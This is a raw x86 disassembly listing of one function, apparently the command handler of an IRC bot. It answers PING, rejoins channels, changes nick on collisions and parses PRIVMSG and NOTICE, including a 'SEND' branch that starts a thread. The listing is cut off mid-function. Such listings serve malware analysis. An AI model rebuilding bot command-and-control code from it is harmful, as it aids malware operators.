var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA64 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA60 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA5C ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C99C


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C95C
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C920
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C91C
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
